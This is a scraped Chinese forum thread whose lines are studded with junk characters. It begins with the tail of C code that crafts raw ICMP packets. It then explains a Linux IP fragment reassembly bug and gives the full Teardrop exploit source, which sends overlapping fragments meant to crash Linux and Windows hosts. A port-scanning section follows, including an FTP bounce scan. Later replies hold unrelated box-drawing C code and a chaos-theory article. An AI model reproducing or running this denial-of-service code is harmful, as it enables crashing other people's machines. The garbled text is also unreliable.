% i4 o% ~" Q" {% }) ?ip-&gt;frag_off = 0;; P' P" E% @- h: [7 |: {
ip-&gt;protocol = IPPROTO_ICMP;
; N* l: Q) L; e( V7 Y2 e6 D1 {ip-&gt;saddr = sin.sin_addr.s_addr;
! i" [, f+ S& Q: o$ z8 d/ R( i# rip-&gt;daddr = dest;  a5 j; y9 @1 E' D6 X
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
& F  s7 c. e7 Iicmp-&gt;type = 8;
  ]# Z" _3 @3 c* t1 S- Gicmp-&gt;code = 0;
: b' L2 u3 y& m! W* i. ^icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
) V) X1 |/ c6 i: f& [" R0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
* W( X" }, D8 v! C2 W6 ^( h! `}</P><P>void ctrlc (int ignored)7 U' g$ o  l' x5 w4 Z4 B6 r# x
{( N. m7 p6 r. f2 x) r( [. [
puts("\nDone!\n");: w! _4 ^3 u! ^  U+ b6 C
exit(1);
% o$ G# E6 S# g8 t! ]}</P><P>unsigned short in_chksum (u_short *addr, int len)
( c& i6 Y4 l" [5 }; ?. m& |{0 c1 U6 i, a4 R% ?& k) M
register int nleft = len;
: v$ I( [1 }; g( p7 [! c, mregister int sum = 0;8 c0 a: a. ^( J" ^( @% R
u_short answer = 0;</P><P>while (nleft &gt; 1) {
( W9 r* v; K0 k, S" M) k" K% J5 a7 Asum += *addr++;& `, l6 ~, D6 S& V1 l
nleft -= 2;1 `8 M  |. r4 K1 ]$ s' j2 j
}</P><P>if (nleft == 1) {' ^" W7 ?" F5 s, \- W  [
*(u_char *)(&amp;answer) = *(u_char *)addr;: M0 W( n8 b+ n
sum += answer;+ Z; S( s" a/ v
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
2 {6 P& [, N' R* h  nsum += (sum &gt;&gt; 16);' T- w; P3 S) Z5 x
answer = ~sum;- @( {5 I. a! W" k; y3 j
return(answer);
9 M6 e; m5 a% j7 N}</P><P>/ V2 E9 f% a$ h  F9 Z" X2 K
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
4 i" }# p  B' xfp = qp-&gt;fragments;
0 `% j0 A; [) B# y) n0 swhile(fp != NULL)7 q- {/ H: X3 l: x" @
{
+ v5 H  n* Q; p9 q4 eif(count+fp-&gt;len &gt; skb-&gt;len)5 B# p5 m; _: \
{' _' Z1 B  U3 A$ T2 D' K: X+ ~2 V/ h
error_to_big;9 z# K) t3 z$ u" L- [/ K- j
}
! V7 z+ p# F, x; K3 zmemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);* t0 ?/ a) V# q5 i
count += fp-&gt;len;  }8 `' l% d( H. E7 n
fp = fp-&gt;next;
+ O$ w& X+ r4 Q& {}. \$ _* }0 d" Y8 Z5 N
这里只检查了长度过大的情况,而没有考虑长度过小的情况,6 Y( i$ u+ ]. O; N. ~  b+ I
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:
: D; E0 |$ @: a) [2 T( G, O6 Lend = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)$ a$ U  |  @, }: c- J
是这样处理的:4 k7 X/ w, O9 z# q
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)) ^: F" Y$ k9 |8 |$ S4 j
{
6 E8 ?- d' m& z6 E  b4 Wi = prev-&gt;end - offset;* [* x! c) @* o2 w* Z; k
offset += i; /* ptr into datagram */
  x4 I: ]8 g& T3 \ptr += i; /* ptr into fragment data */8 s3 Z5 R/ I) L# [  Y
}</P><P>/* Fill in the structure. */
; ]/ E( K  E# t' t9 R# ]! Rfp-&gt;offset = offset;
& z. `. C0 c3 d$ |5 {fp-&gt;end = end;
4 |. c" |* m# ~2 x( Zfp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:! l: S8 S$ K6 A* v- L/ {
第一个碎片:mf=1 offset=0 payload=20
7 t* }3 [* ]" C1 u% _. H敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
0 c" G% l  ]; {4 d* x: a" @offset=01 e; Z, I- ?5 a9 P6 ?8 }
这样第二个碎片的 end=9+10=19" ^# m$ O' @! t. ?! Q: O
offset=offset+(20-offset)=20
' z/ x1 ~3 |: s! n$ F' @% Tfp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>3 G" ~0 M* n$ p& ~/ |. E! @# p- g' `
/*; u1 D, O) v0 Y+ D; k
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
1 |1 `/ l6 A$ {7 T6 W7 w*
; A; D; g% ^5 C+ K* Linux/NT/95 Overlap frag bug exploit
( |" \4 }# W) T% D! ^2 c+ u*
- d$ K5 e2 l3 X* Exploits the overlapping IP fragment bug present in all Linux kernels and
8 ]* z, n5 @; e) d1 z, U9 y* NT 4.0 / Windows 95 (others?)# m5 U: ]' P/ x1 h  o& ~
*' c; }9 L1 h- O9 t
* Based off of: flip.c by klepto9 ^- a8 `2 I8 f
* Compiles on: Linux, *BSD*
8 Q6 T& u# \  j" O, ~% `6 E8 @/ W( p*; f/ k! A! H+ T$ S% {6 [& i7 Q5 J) y
* gcc -O2 teardrop.c -o teardrop1 {  J, u' R( S  }) x$ i
* OR5 F7 g, Y" ~) t# r
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING2 }- p) i' _3 C" g4 H. I, w7 r
*/</P><P>#include <STDIO.H>1 l2 t0 G( L$ o* M+ ~4 S* o6 T) i, M
#include <STDLIB.H>" w% P, T) n$ n, @% V5 N( ^
#include <UNISTD.H>* J5 \" N/ w. f( ^  u
#include <STRING.H>
* _# u* k! ^% q4 [" i. g; W#include <NETDB.H>
5 ~& s% F! _* t* J4 k% Q, P' s#include <NETINET in.h>
+ q1 j% y) b# q2 {) o#include <NETINET udp.h>
4 E8 u9 x* Y* |- O, a; J#include <ARPA inet.h>
8 |2 e# E9 M! N6 n8 Q% g4 e  I#include <SYS types.h>
$ E# V: q8 a. T8 ?- a* n#include <SYS time.h>- C% P4 `' s# W1 P0 r
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
# R+ ~0 U& W5 P6 \/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */8 B: {7 n/ J& s
#define FIX(n) (n)5 }* |8 N( j& G& R3 g0 b* i
#else /* OpenBSD 2.1, all Linux */
0 p) S% e4 w$ C, g) Q#define FIX(n) htons(n)
4 I+ L/ a) P4 \' {+ B0 r#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
- i: F( Q5 P9 v! w; h#define IPH 0x14 /* IP header size */
) @: B( \4 f1 U# g0 F( i% i9 `2 I#define UDPH 0x8 /* UDP header size */
  n! P2 R: |+ L#define PADDING 0x1c /* datagram frame padding for first packet */3 a: r0 c' J) W) w4 [4 d
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
, s6 D3 Q; ]4 L% e" x& O; I#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can. v+ L  o: U6 w& F5 F( X. c
* withstand maybe 5 or 10 sometimes... Experiment.6 c( p" v3 R  Z5 Y) R
*/</P><P>void usage(u_char *);
4 v& o6 q  }% ~' P# j" c# gu_long name_resolve(u_char *);
& o, |5 k$ B: Z4 Yu_short in_cksum(u_short *, int);9 J& R  g% i0 q5 M# ^$ l
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)* X9 I% Q2 B& r$ g# E+ @
{, |/ U& o# i8 b" e0 t$ v
int one = 1, 3 ?/ `$ V8 s- ]! J$ n
count = 0,
  k6 a& A3 Z  [: Wi, ! \8 T2 ]$ G7 h. c# f8 ^+ g4 P
rip_sock;
& M% r" G, G: t# hu_long src_ip = 0, dst_ip = 0;5 ~+ P( z$ l- G, H  Y% e+ S
u_short src_prt = 0, dst_prt = 0;( q/ v! t6 o7 H" |3 O+ G& i. p, z
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW. t( a" S9 F1 I/ a+ p
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)0 G( D# a. @8 V" f
{! i/ S# K9 C8 Z0 s8 Q- B/ |
perror("raw socket");
- f7 r* z7 T& O# z. J& Y% bexit(1);1 A; A( z6 @# `% Z
}
1 Y) Q0 F5 \/ D1 J/ v9 C3 u& u//由系统处理IP校验和。
3 y* ]& V5 Y9 o. S. I* }if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
6 N9 V  L$ T" ?9 V. ^0 S+ L) W. Q&lt; 0)) l5 D' e; Q. Q: s
{9 \! @1 r3 L# _8 Y; W2 h8 O
perror("IP_HDRINCL");2 C( C0 a; O* Y7 Y- d$ S6 {
exit(1);
" Z1 |' ^0 M' l$ k2 v! }}</P><P>if (argc &lt; 3) usage(argv[0]);2 G9 ~* l0 H4 P& S- j
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))) ?- P8 D7 R$ ]: s5 M
{
! O: Z) J9 b* n- q6 t! X+ ~& A4 g# wfprintf(stderr, "What the hell kind of IP address is that?\n");
4 i; v3 j7 L! B0 oexit(1);' m$ ~1 x: d( z; g5 I  Q4 H: Z6 l
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)1 n) d/ l; i$ M) Z8 W4 i; \9 h; n
{; V( {, ]1 \0 h, Q& k* L8 c
switch (i)$ ?2 L  S  u* K' L9 {- ]" o
{
7 V* v" \3 P9 ]: x# jcase 's': /* source port (should be emphemeral) */3 X+ G, j+ J0 h7 t
src_prt = (u_short)atoi(optarg);
* l8 O+ j/ F6 f3 @5 m0 R0 }break;' w( q. B) N6 J! G
case 't': /* dest port (DNS, anyone?) */
! |, O& D# S& v' Z9 L" z0 Qdst_prt = (u_short)atoi(optarg);, h! l: _( g3 ?+ s
break;$ S" T" u' L, o- I
case 'n': /* number to send */
, ~% |9 W& L6 v: h/ ?; Gcount = atoi(optarg);0 U& o: j, l2 P# N8 T
break;% |% J0 z+ z  a, n) b
default :
1 T1 D0 j4 Q" S. L; [usage(argv[0]);
8 G5 a- g* F( C# ~* Sbreak; /* NOTREACHED */
3 f6 J: i+ R) ^, d8 G+ z' c# i% _}. }2 N- P/ D* i0 ]
}</P><P>srandom((unsigned)(time((time_t)0)));4 _8 J- j3 z- |9 F
if (!src_prt) src_prt = (random() % 0xffff);
. \+ u! [% ~! R! I4 xif (!dst_prt) dst_prt = (random() % 0xffff);
4 q; z8 u" K# x- ?& lif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");; f# F2 e3 g7 i+ Z/ X0 W
addr.s_addr = src_ip;
& e! ]- h! }$ u5 ~  C, Jfprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);7 L; e$ c, X$ E2 d
addr.s_addr = dst_ip;0 Y( K2 i+ h, X* s
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);* V# G3 D' ~/ h( m( [+ t
fprintf(stderr, " Amt: %5d\n", count);6 h) R. t- M1 ?6 N. C- [( a! _
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
7 {# A" J8 T$ f( t0 ]7 _{( G: b$ D% S) }5 m8 Z
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
7 p- |2 [: \. a5 @8 J+ Zfprintf(stderr, "b00m ");2 b! b/ i2 r; E0 w9 K
usleep(500);
6 L  s8 w1 e7 x4 g# L- i2 ?2 k}
8 n0 P9 Z9 [( M. q2 K- x- ofprintf(stderr, "]\n");2 ]' w8 ?( `6 M/ R3 {
return (0);! {3 ^- p/ d5 t6 J$ F7 \9 ?% h
}</P><P>/*
2 ?4 V* h* i1 N6 n; Y; d+ ~' _* Send two IP fragments with pathological offsets. We use an implementation  v* L0 s& `2 O
* independent way of assembling network packets that does not rely on any of
& ?" I- v8 R" m( f# \4 Z- @* ?* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
& f9 s. i7 ^+ h5 G4 J1 C*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,5 S" a9 R( C- ?+ b, [. J# c
u_short dst_prt)
+ @+ W, g1 t1 w9 S, ^- V* b- F{$ X/ P* {3 d; e
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
3 l, X2 X8 F8 J' ^" N, fu_char byte; /* a byte */. O& H5 m0 K. \
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
( T' @5 b( v# H0 b6 ^$ xsin.sin_port = src_prt;
: o# h: K3 W. J/ n9 ?sin.sin_addr.s_addr = dst_ip;</P><P>/*
- C" Q% U% h+ u4 \, j1 L' }* Grab some memory for our packet, align p_ptr to point at the beginning# D* \( l0 a. n+ j% w" n- v
* of our packet, and then fill it with zeros.6 o- c7 V9 I, v' n
*/% f+ C4 E/ g9 v  a
packet = (u_char *)malloc(IPH + UDPH + PADDING);
  k( E4 {, Q8 I6 xp_ptr = packet;
# {6 N# c8 M# Hbzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
; t: w" d6 C  W% S' Q; Z$ kmemcpy(p_ptr, &amp;byte, sizeof(u_char));3 a2 v& P7 X2 |7 d
p_ptr += 2; /* IP TOS (skipped) */
7 v' E" v. S: ]' P*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */1 }) j5 d- G4 _, z: Z* f! i
p_ptr += 2;
8 R" X# M- E/ T1 D, w1 I- r# m. r*((u_short *)p_ptr) = htons(242); /* IP id */! j( i: J8 ?  o1 P
p_ptr += 2;
& m/ G9 d4 B( t, n*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
8 \, n* Z2 ~* j6 }3 H% y0 g. A1 Zp_ptr += 2;7 R2 z; N8 @' x9 L) f- f9 ?
*((u_short *)p_ptr) = 0x40; /* IP TTL */
% a3 F+ ~( }+ f1 C+ Y, m' T9 g" Fbyte = IPPROTO_UDP;- r" x0 Q8 g& @/ k
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));, h. {' f$ r) @- c' f
p_ptr += 4; /* IP checksum filled in by kernel */5 m" R( d4 ]6 m
*((u_long *)p_ptr) = src_ip; /* IP source address */2 t! L$ ^# m; x8 b3 O# R
p_ptr += 4;
8 b( t. F. I+ J' u, {*((u_long *)p_ptr) = dst_ip; /* IP destination address */
$ \2 v) L8 N! n1 \, pp_ptr += 4;/ X/ W% i. z' O4 }) g. [) P
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
7 r0 r7 E4 D; P1 P- ~8 C6 [2 ?p_ptr += 2;2 A3 C! p3 r" M3 R
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */3 Z$ F, d0 x: r. L
p_ptr += 2;; ?4 C  ^) y' S
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
8 S; f( |2 h* U, X0 Y5 {sizeof(struct sockaddr)) == -1)2 J" j& i; l8 v9 k: O$ }) G
{
: P/ m9 ^, l+ I3 Cperror("\nsendto");
, \* D: D0 u/ W( ufree(packet);* y; X  e* L7 g8 a1 u% G
exit(1);2 T5 T% Z  s$ T; @
}</P><P>/* We set the fragment offset to be inside of the previous packet's
" O3 w+ j) c1 [: u* payload (it overlaps inside the previous packet) but do not include
' c- t* g; ~: i$ U; S& S* enough payload to cover complete the datagram. Just the header will
# z: D, x/ e) Z4 `  _* do, but to crash NT/95 machines, a bit larger of packet seems to work  D: k/ o$ d; ?5 O( Y/ h
* better., l# L$ J: T" i; ]4 E
*/
: ]) k. d, N( i/ cp_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */! d4 K2 L& I3 B, G6 }
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
$ S8 L" ?6 {: i) s2 M, T$ qp_ptr += 4; /* IP offset is 6 bytes into the header */
" N( Q) S  W% n2 |*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
9 |  }9 a5 e- g' Vsizeof(struct sockaddr)) == -1)( @( c4 N: A$ P" I5 Y9 B
{6 y5 N% \; d4 [2 }" K! D* e% @
perror("\nsendto");& T0 t/ x( Y- J2 s8 P" _3 T8 N* v9 ~* H
free(packet);4 n# X) L8 n; ]$ E/ @* K9 s6 H
exit(1);
. R* L3 y# I. ?1 ]! _% b( ]9 _0 L}
2 w7 i9 N; E4 x* t5 z' Tfree(packet);9 G. v( b9 _& d) l  l' L) x" X
}</P><P>u_long name_resolve(u_char *host_name)
+ z- I2 N. X1 n{' v6 y9 _$ p8 F0 z6 ^
struct in_addr addr;
# ^" J1 V6 }; y8 e) s# M* Jstruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)- l5 J( z3 O& u6 c' C
{* ^5 p  l  k2 X/ n9 h6 f8 l6 s7 F9 s1 M
if (!(host_ent = gethostbyname(host_name))) return (0);
& n, p  d* n9 \) f& d. p8 Obcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
0 q9 G: l( x7 ^) G, j# E}
) T* c: n1 \( Z' G5 Ereturn (addr.s_addr);& X; k' }4 ]' r9 v" F5 ^8 p; P
}</P><P>void usage(u_char *name)
% g. g& e$ v; o1 x' a9 A7 F{: y1 o! I8 U. C' g$ v/ F9 `
fprintf(stderr,6 d) d& z3 o7 j
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",5 A) `" k8 d& q3 X
name);6 |+ g7 ]  P9 Y4 k) M
exit(0);* o$ G( m7 N0 D) i6 [; S8 {# l
}</P><P>% c9 B! F+ x; D# I+ A# X1 r
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法: 0 B& \! w! |9 m; T! `
(1) Half-open(半打开)
/ v5 I7 q; r( o利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
& P4 D% ~2 @+ k' Z0 ?) j6 F如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner0 g4 x. C9 O6 d, P( Z0 i) t
利用了FTP的port命令,例如可以这样作:2 t  }; v9 e7 z# {9 n
选择一个FTP服务器,连上后令port命令指向目标机,如果返回3 f: {& \, a' X4 Y' R+ m5 x
值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
- U) V/ i5 b( x该端口无服务。% j+ V( `4 M9 t* M7 ^3 [
telnet 192.168.1.13 21
9 x9 B' B0 e7 G4 tTrying 192.168.1.13...
/ P' q9 [" O* U9 m# tConnected to pp.bricks.org.
) g  D% {$ `8 L. q+ Z4 dEscape character is '^]'." t; E0 p( H! d$ ^8 F, I0 y- M, v8 U
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
7 |& ]. t/ ~; U6 `) {  V( H7 G7 JThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous6 Y# @" M0 ]* {' j6 @  p( `2 B+ {. i
331 Guest login ok, send your complete e-mail address as password.& {& l( [0 @/ n' V- C
pass aa@aa.aa6 U0 r2 b) Y, X; E) T. ^
230 Guest login ok, access restrictions apply.& N1 D: w; Y/ _$ k
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
6 ]/ w& t4 @+ J- U; G1 h  e. ?425 Can't build data connection: Connection refused.7 c* s: s- q1 r; @$ z
//该端口未活动 + X# c  N  O  h; {8 G5 a! ]" s
150 Opening ASCII mode data connection for file list.! r+ h) k5 u# Z- ~9 ~* o3 f
226 Transfer complete.
# E: x- r3 j: U6 L+ V" d& s0 T//该端口活动中
. w& d5 x' Z( d但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing* d4 b* [4 w, B" t
SYN|FIN ACK or SYN|ACK* RST5 D9 }/ R! ]# R% v" U
ACK Nothing RST7 L: I* R$ N! [# q8 y. `& v
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport- L) t. X) I( y6 q- Q5 u
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
! l) S2 W" `- [( F# i+ K若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认+ h6 K( h7 I) c  ]3 p" a
定它在向你做portscan。</P><P>notes:
6 l! `# S5 F% D& r9 ], {早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
. @+ I# f+ z$ V而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的9 X) l) z# M& a4 s* e" ]! }
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
7 U: v  f& |& `<FONT color=#009900>/*( \* _; X! `& l% ?! n+ X
*3 `- A; `2 e& u
* Short driver module
, d& I5 y# Y3 Q( F*
3 x1 Q+ I+ }; q. n*/</FONT></P><><FONT color=#009900>main(): Z* N) l4 C1 g, C1 Y1 ], N1 T2 O
{
* g% U1 p1 [+ O+ s; m" N+ Sclrscr();
2 m5 |- n8 t4 o8 d) Z& vbox(1,1,23,79);/ h* O/ u# g# C9 ?. W1 _8 l; J; q! F
box(2,2,21,77);! @) m% h/ v  C  H( L& z/ E3 x, Z
box(3,3,19,75);
! _# V  z  x8 C  J% r6 g) t# fbox(4,4,17,73);! M6 s. U- _4 Z7 I3 M3 w
box(5,5,15,71);
0 k: m# u$ t4 _( C  Rbox(6,6,13,69);
3 F# @7 H2 H/ \" kbox(7,7,11,67);* ^1 X3 J6 c9 s2 [1 Q$ W
box(8,8,9,65);5 f6 K# S  m/ o( x3 @
box(9,9,7,63);
5 ~/ I7 e! t+ b% [3 {2 {, ibox(10,10,5,61);
; F5 ~9 J4 n% n3 N! N) p8 k$ hbox(11,11,3,59);0 w' m5 A# h6 U% P9 u
box(12,12,1,57);
" n+ v: z6 R1 m  ]7 ]% [! K! Nposcur(24,1);
1 {2 _) B+ v9 @}</FONT></P><><FONT color=#009900>/************************************************************* `$ S2 R) c  k8 L3 M
* BOX *
7 k6 M, }/ E+ I6 z# O1 a% f! H*----------------------------------------------------------*
* G6 @& H- r8 w6 ^" u4 V% h! }$ x( i* Written by: Jeff Ebert 7/01/87 *3 [0 G/ H3 @" ~: [( R1 k
* Modified by: xxxxxxxxxx *+ N% V: v$ f) M5 Y  C3 n3 }
* *3 W7 ?  r$ J* u8 z( t/ A. e9 d6 Q
* Please modify me! *
6 X9 D0 K9 [- W. V0 s; a& L! G* Possible Enhancements include but are not limited t *
% [5 q0 g7 |: x/ J2 z7 C( L* 1) Variable box character styles [1 line or 2] ** r, [7 L; `) S7 p$ ~
* 2) Error checking *4 B' |4 K9 e2 N- Y
* 3) Color options *6 V1 w! z$ C% T) j# d' z  s2 h
* *
! e0 a: u. f4 d" U* *
& F+ }$ }. x6 N0 f5 C2 e9 i! C* This function builds a simple double frame for a menu. *
1 R6 a; q. t) v( ?3 l# X* The function is passed the parameters for the upper *2 r7 A. J  w% X& D8 J& \" J
* left corner row, upper left corner column the height *: H% e  [! {$ J# B$ l5 J4 V
* of the frame and the width. *
- K. l7 p# ]4 Q- i6 |* *+ s! M9 r8 r$ @- D2 H, L# H5 b
************************************************************/
# \+ k4 O& S3 S/ D8 ?#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 2011 U* Q" p' a" Z6 V: `" m# c/ H" j
#define URCOR 187# b# \* ^: N7 _$ S# H% W/ o
#define LLCOR 2002 E% n# Q; {8 Q0 U& t- [+ O
#define LRCOR 188, Z; Z5 C0 Q$ b% }" a
#define VBAR 186
! }8 T2 Y* i( Y#define HBAR 205
7 T) O* X) O% D. a#define ESC 27</FONT></P><><FONT color=#009900>
/ R2 [7 Z$ w' }: b# O  @7 u9 |2 `box(row, col, hgt, wdth)
4 c0 l, D& S6 T/ ?" _- z% N9 \int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
9 W7 d* H7 W3 w, g  Oint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
/ i8 B* ?* K# e9 c) s& `' _; M( |putchar(ULCOR);
3 b4 o$ f- @. G' f( U" hfor(x = col + 1; x &lt;=(col + wdth -1); x++)5 k2 `5 P/ v& r  H0 ?) z0 ?2 P4 M
putchar(HBAR);
' q% I" X. w0 G* yputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
) X% q; m3 k# A% O2 N( F( Y; P4 e; wposcur(x,col);2 F1 E3 H8 |( t0 M5 A3 r, I( X
putchar(VBAR);; O# _. w8 ~7 W# E
poscur(x,col+wdth);
8 B+ x9 x' A0 J8 i6 h+ ^$ C* gputchar(VBAR);
2 N# f: V! D- f1 g* p) p& \) D}" V& N# T8 I: g( ~( F
poscur(x,col);
9 D1 i+ o5 r8 l: eputchar(LLCOR);! ?7 j3 g% r7 D) J& v0 C' M5 J6 ]) M
for(x= col + 1; x &lt;=(col + wdth -1); x++)
9 h+ g# Z6 b; Z; E" bputchar(HBAR);
7 G# E( ~. a6 w% `& q. pputchar(LRCOR);8 a. J7 e7 O; C- l' D
}</FONT></P><><FONT color=#009900>/********************************************************2 \3 X4 Z4 E/ z5 C" Q7 _1 I6 F0 }. k
* POSCUR *
3 g* `; w9 M/ m2 c7 W*------------------------------------------------------*
  y7 Z+ k; L: r0 F1 y* This function positions the cursor at the specified *' ^& o8 G$ B; M; c- K% z
* x,y coordinate. It uses the ANSI standard ESCAPE *, f7 H6 m9 q* O) ?
* sequence to produce the desired effect. Its not the *
, s' m& N0 \  p2 p! L9 ^* Q: F  V* fastest way to position the cursor, but perhaps the *
# P5 l- g* u, E3 \4 b* most portable. *
+ E- {4 \  Z9 y! A" F3 C4 `* H* *
' t7 O# }6 q' b) A1 V********************************************************/
8 U( N6 ]/ _, y! X& L7 P0 rposcur(xcor,ycor)! f2 S6 T6 c( I2 V! y7 N8 W" V
int xcor,ycor;( C1 U+ J5 |' e1 @7 p3 R' ~, J
{ 1 s& Y+ \! }4 K: m
printf("%c[%d;%dH",ESC,xcor,ycor);
7 N: Z$ E# ?+ f# o0 n}</FONT></P><><FONT color=#009900>9 B- Z+ |. x9 v! @+ W3 c1 X
/********************************************************
: X# E" K$ p. c' z; _3 p* CLRSCR *5 @  `( h0 E$ C* J9 D3 I7 l& ?
*------------------------------------------------------*0 m$ p5 k3 Y- T& C% I$ v
* This function positions the cursor at the specified */ x* h$ n+ @+ K7 A8 j
* x,y coordinate. It uses the ANSI standard ESCAPE *3 d. J6 O+ Y' W$ V
* sequence to produce the desired effect. Its not the *
9 a5 c0 e' B  |8 l9 J* W* fastest way to position the cursor, but perhaps the *
$ ]5 C+ {8 t  t+ f* most portable. *7 d& k/ |( h  q, u" G3 A; x9 S7 R! W
* *
' c8 ~6 g" Q5 x/ r4 L********************************************************/8 W" n9 o3 u+ h6 S0 s4 r
clrscr()9 D% P) X& U: C& p' F
{
0 i8 X- h, [5 ~5 Vprintf("%c[2J",ESC);0 s. k$ B7 w9 [( D2 _; s
}</FONT>
$ R7 d2 E6 B2 f* m, Z, ?" @! n( ?3 P2 }</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])1 _; S  {* }' c4 M6 J1 U
</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
% z# @1 E; c- G" _0 I6 e' l+ N9 m" k2 [9 f7 }
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
- C3 ]% J) B) b8 ^/ A( b% @  <FONT color=#009900>#include <DOS.H>1 ]# C$ N* {4 O/ H4 v& U
